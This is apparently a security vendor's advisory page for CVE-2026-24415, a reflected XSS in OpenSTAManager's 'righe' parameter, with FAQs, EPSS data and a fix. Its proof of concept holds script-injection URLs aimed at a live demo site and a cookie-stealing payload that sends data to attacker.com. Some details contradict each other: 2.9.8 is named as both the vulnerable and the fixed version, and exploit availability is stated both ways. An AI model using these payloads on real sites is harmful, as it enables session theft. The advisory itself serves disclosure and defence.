How severe is CVE-2026-24415?

No CVSS score has been assigned to CVE-2026-24415 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-24415?

CVE-2026-24415 affects the following packages: devcode-it/openstamanager (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-24415?

Update devcode-it/openstamanager to 2.9.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24415 is resolved across your whole dependency graph.

How do I detect CVE-2026-24415 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-24415 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-24415?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24415 can be triaged on real exposure rather than presence alone.

Is CVE-2026-24415 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-24415 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-24415?

CVE-2026-24415 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 16th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-24415?

CVE-2026-24415 is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-24415 published, and has it been updated?

CVE-2026-24415 was published on March 3, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-24415 — devcode-it/openstamanager

CVE-2026-24415 is a Cross-site Scripting (XSS) vulnerability in devcode-it/openstamanager. A fix is available for devcode-it/openstamanager — see the affected versions and patch details below.

OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter

Also known asGHSA-jfgp-g7x7-j25j

Published

Mar 3, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24415.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘devcode-it/openstamanager

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.

Vulnerable Parameter: righe (GET)

Details

OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.

Vulnerable Code Location: File: /modules/contratti/modals/modifica_iva.php (Line 125)

<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">

The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

All Affected Files:

/modules/contratti/modals/modifica_iva.php - Line 125, Line 167
/modules/preventivi/modals/modifica_iva.php - Line 125, Line 167
/modules/fatture/modals/modifica_iva.php - Line 121, Line 161
/modules/ddt/modals/modifica_iva.php - Line 125, Line 167
/modules/ordini/modals/modifica_iva.php - Line 125, Line 167
/modules/interventi/modals/modifica_iva.php - Line 125, Line 167

PoC

Prerequisites:

Running instance of OpenSTAManager v2.9.8
Valid admin credentials (username: admin, password: admin for test instance)

Step 1: Login

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Trigger XSS Navigate to the following URL in a browser (or use curl with cookies):

http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>

Tested URLs (All vulnerable):

https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>
https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>

Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.

HTML Output (verified on live instance):

<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">

Verification:

Alternative Payloads: Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>

Impact

Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.

Attack Scenario:

Attacker crafts malicious URL with XSS payload
Attacker sends URL to victim via email/chat/phishing
Victim (authenticated user) clicks the link
Malicious JavaScript executes in victim's browser context
Attacker can:
- Steal session cookies → Full account takeover
- Perform actions on behalf of victim (create/modify/delete records)
- Steal CSRF tokens and bypass CSRF protection
- Redirect to phishing page
- Inject keylogger to capture sensitive data
- Modify page content to trick user into revealing credentials

Recommended Fix:

<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">

Apply this fix to all affected files listed in Details section.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`devcode-it/openstamanager`	all versions	2.9.8`composer require devcode-it/openstamanager:^2.9.8`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update devcode-it/openstamanager to 2.9.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24415 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24415 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-24415. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions. **Vulnerable Parameter:** `righe` (GET) ### Details OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before

O3 Security · Impact-Aware SCA

Is CVE-2026-24415 in your dependencies?

O3 Security finds CVE-2026-24415 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works